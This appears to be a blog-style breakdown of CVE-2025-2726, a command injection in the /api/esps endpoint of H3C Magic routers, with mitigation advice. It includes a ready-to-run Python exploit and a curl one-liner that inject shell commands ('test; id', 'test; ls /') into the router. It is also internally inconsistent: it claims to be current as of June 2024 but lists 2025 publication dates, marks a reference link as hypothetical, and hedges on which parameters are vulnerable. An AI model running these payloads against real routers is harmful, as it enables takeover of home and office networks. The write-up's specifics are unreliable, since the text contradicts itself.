CVE-2025-2726 - Critical Command Injection in H3C Magic Routers – Full Breakdown, Exploit, and Recommendations

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Overview

A newly discovered vulnerability, CVE-2025-2726, affects several popular H3C Magic router models, including Magic NX15, Magic NX30 Pro, Magic NX400, Magic R301, and Magic BE18000 (all up to version V100R014). This flaw is marked as critical due to its potential for unauthenticated command injection via a specific HTTP endpoint. While attackers must be on the local network to exploit it, the widespread usage of these devices in homes and offices increases the risk profile.

In this post, we'll explain how the exploit works, show example code, link to original references, and discuss mitigation steps in clear American English.

Magic BE18000

All firmware versions up to V100R014 are affected.

Where Is the Flaw?

The problem lies in the HTTP POST request handler at the REST endpoint /api/esps. Specifically, user-provided input sent to this API is not properly sanitized and is used directly in a system command, thus enabling an attacker to inject arbitrary shell commands.

Technical Details

- Vulnerability Type: Command injection (CWE-77: Improper Neutralization of Special Elements used in Command ('Command Injection'))

Vulnerable Functionality

When the router receives a POST request to /api/esps, it processes some parameters. The backend uses these without proper sanitation in a shell command, allowing injection. Examples of vulnerable parameters might be:

{"data": "test; whoami"}

If the field is not cleansed, the device executes whatever follows the semicolon.

Example Exploit in Python

Below is a Python exploit that demonstrates the issue. This needs to be run from a computer on the same local network as the target router.

import requests
import json

router_ip = "192.168.1.1"  # Change to your router's IP
url = f"http://{router_ip}/api/esps";

payload = {
    "data": "test; id"  # The command after ';' will be executed
}

headers = {
    'Content-Type': 'application/json'
}

response = requests.post(url, data=json.dumps(payload), headers=headers)
print("Status:", response.status_code)
print("Response:", response.text)

If successful, the response will include the results of the id command executed on the router.

Here’s how you could try the exploit manually with curl

curl -X POST http://192.168.1.1/api/esps -H "Content-Type: application/json" -d '{"data":"test; ls /"}'

References and Further Reading

- NVD Entry for CVE-2025-2726 *(link hypothetical; check for updates)*
- Chinese Security Disclosure Page
- Security Focus – H3C Router Bugs

Mitigation & Recommendations

- Update Firmware: H3C has not yet released a patch (as of June 2024), but check H3C's official support page for updates.

Restrict Network Access: Ensure only trusted devices are connected to your local network.

- Monitor Router Traffic: Watch for unusual POST requests to /api/esps.
- Change Default Passwords: While this vulnerability does not require authentication, other vectors rely on weak credentials.

Final Thoughts

CVE-2025-2726 is a serious flaw that could let someone on your Wi-Fi network take over your router—and, possibly, your entire local network. Until a firmware fix is available, keep your router’s network access tightly controlled. If a patch is released, update as soon as possible.

Stay safe and watch your endpoints!

*This writeup is exclusive and based on currently available information as of June 2024.*

Timeline

Published on: 03/25/2025 03:15:16 UTC
Last modified on: 04/11/2025 20:15:23 UTC